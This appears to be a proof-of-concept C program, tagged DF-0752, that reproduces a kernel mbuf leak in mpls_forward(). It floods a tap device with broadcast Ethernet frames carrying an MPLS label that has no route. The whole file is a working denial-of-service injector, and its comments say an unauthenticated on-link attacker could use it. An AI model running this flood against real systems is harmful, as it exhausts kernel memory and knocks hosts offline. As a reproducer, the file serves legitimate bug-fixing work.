DF-0752 / mpls_flood.c
/* * DF-0752 — mbuf leak in mpls_forward() on route-not-found. * * Injector: writes N Ethernet frames carrying an MPLS label that has NO * matching MPLS route into /dev/tap0. The kernel's ether_input demuxes * ethertype 0x8847 to NETISR_MPLS -> mpls_input -> mpls_forward, which on * the unpatched kernel `return`s at mpls_input.c:202 without m_freem(m) * when rtalloc() finds no route -> one mbuf+cluster leaked per packet. * * Run as root (needs /dev/tap0). The root privilege here only simulates an * on-link attacker who can put arbitrary Ethernet frames on the wire; on a * real MPLS-enabled deployment that requires no auth. * * Usage: ./mpls_flood [/dev/tapN] [count] * default: /dev/tap0, 20000 frames */ #include <sys/types.h> #include <sys/fcntl.h> #include <sys/ioctl.h> #include <net/ethernet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <arpa/inet.h> #define MPLS_ETHERTYPE 0x8847 /* Build an MPLS shim: label(20)<<12 | exp(3)<<9 | S(1)<<8 | TTL(8). * label=1000 (reserved-but-routable-range; we install NO route so rtalloc * fails), S=1 (bottom of stack), TTL=64. */ static uint32_t mk_shim(uint32_t label) { return htonl((label << 12) | (1u << 8) | 64u); } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/tap0"; long count = argc > 2 ? atol(argv[2]) : 20000; uint32_t label = argc > 3 ? (uint32_t)strtoul(argv[3], NULL, 0) : 1000; int fd, n; long i; /* Ethernet frame: dst=bcast, src=02:00:DE:AD:BE:EF, ethertype=MPLS, * then one MPLS shim, then a small dummy payload so the frame is * well-formed (>=64 bytes after padding is the driver's job). */ unsigned char pkt[64]; memset(pkt, 0, sizeof(pkt)); /* dst = broadcast */ pkt[0]=0xff; pkt[1]=0xff; pkt[2]=0xff; pkt[3]=0xff; pkt[4]=0xff; pkt[5]=0xff; /* src = locally administered */ pkt[6]=0x02; pkt[7]=0x00; pkt[8]=0xDE; pkt[9]=0xAD; pkt[10]=0xBE; pkt[11]=0xEF; /* ethertype MPLS */ pkt[12]=0x88; pkt[13]=0x47; /* MPLS shim */ uint32_t shim = mk_shim(label); memcpy(&pkt[14], &shim, 4); /* bytes 18..63 = zero payload (ip-in-mpls would follow; the route lookup * in mpls_forward uses the MPLS label only, so payload is irrelevant) */ fd = open(dev, O_RDWR); if (fd < 0) { perror(dev); return 1; } printf("flooding %ld MPLS frames (label=%u) into %s ...\n", count, label, dev); for (i = 0; i < count; i++) { n = write(fd, pkt, sizeof(pkt)); if (n < 0) { perror("write"); close(fd); return 1; } if (n != (int)sizeof(pkt)) { fprintf(stderr, "short write %d at %ld\n", n, i); } } /* give the kernel netisr a moment to drain */ usleep(500000); printf("done: %ld frames written\n", count); close(fd); return 0; } |